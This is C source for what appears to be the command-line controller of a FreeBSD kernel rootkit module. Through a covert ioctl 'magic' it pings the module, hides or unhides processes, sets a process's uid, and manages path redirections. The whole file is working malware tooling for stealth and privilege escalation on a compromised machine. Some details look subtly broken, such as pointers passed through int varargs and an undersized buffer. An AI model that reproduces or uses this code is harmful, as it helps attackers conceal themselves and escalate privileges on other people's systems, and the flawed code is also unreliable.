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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include "config.h"
int
send_request (int command, ...)
{
char buf[8];
va_list va;
int *ptr, s;
o2_args args;
args.command = command;
args.res = -1;
va_start (va, command);
ptr = args.args;
while ((s = va_arg (va, int))) {
*ptr++ = s;
}
memcpy (buf, EVIL_IOCTL_MAGIC, 4);
*(unsigned long **)(buf + 4) = (unsigned long *)&args;
ioctl (0, EVIL_IOCTL_COMMAND, buf);
return (args.res);
}
int
ping (int argc, char **argv)
{
if (send_request (PING_COMMAND, 0x0) == -1) {
printf ("no kld loaded\n");
return (EXIT_FAILURE);
} else {
printf ("kld loaded!\n");
}
return (EXIT_SUCCESS);
}
int
redir (int argc, char **argv)
{
unsigned char buf[1024];
if (argc < 1) {
fprintf (stderr, "usage: redir <list|add|rm>\n");
return (-1);
}
if (!strcasecmp (argv[0], "add")) {
if (argc < 3) {
fprintf (stderr, "add: <from> <to>\n");
return (-1);
}
return (send_request (REDIR_COMMAND, REDIR_ADD, argv[1], argv[2], 0x0));
} else if (!strcasecmp (argv[0], "list")) {
char *ptr = buf;
int cnt = 0;
if (send_request (REDIR_COMMAND, REDIR_LIST, buf, 0x0)) {
printf ("oops\n");
return (-1);
}
for (;*ptr;++cnt) {
printf ("%d: %s -> ", cnt, ptr);
ptr += strlen(ptr) + 1;
printf ("%s\n", ptr);
ptr += strlen(ptr) + 1;
}
} else if (!strcasecmp (argv[0], "rm")) {
int cnt = 0;
cnt = atoi (argv[1]) + 1;
if (send_request (REDIR_COMMAND, REDIR_RM, cnt, 0x0)) {
printf ("oops\n");
return (-1);
}
}
}
int
pid (int argc, char **argv)
{
int pid;
if (argc < 2) {
fprintf (stderr, "usage: pid <pid> <uid|hide|unhide> <args>\n");
return (EXIT_FAILURE);
}
pid = atoi (argv[0]);
argc--;
argv++;
if (!strcasecmp (argv[0], "uid")) {
int uid;
if (argc < 2) {
printf ("usage: uid <uid>\n");
return (EXIT_FAILURE);
}
uid = atoi (argv[1]);
send_request (PID_COMMAND, pid, PID_UID, uid, 0x0);
} else if (!strcasecmp (argv[0], "hide")) {
send_request (PID_COMMAND, pid, PID_HIDE, 0x0);
} else if (!strcasecmp (argv[0], "unhide")) {
send_request (PID_COMMAND, pid, PID_UNHIDE, 0x0);
} else {
return (EXIT_FAILURE);
}
return (EXIT_SUCCESS);
}
int
main (int argc, char **argv)
{
if (argc < 2) {
fprintf (stderr, "usage: <commands> <args>\n"
"\tping <args>\n"
"\tpid <args>\n");
return (EXIT_FAILURE);
}
if (!strcasecmp (argv[1], "ping")) {
return (ping (argc - 2, argv + 2));
} else if (!strcasecmp (argv[1], "pid")) {
return (pid (argc - 2, argv + 2));
} else if (!strcasecmp (argv[1], "redir")) {
return (redir (argc - 2, argv + 2));
}
return (EXIT_FAILURE);
}
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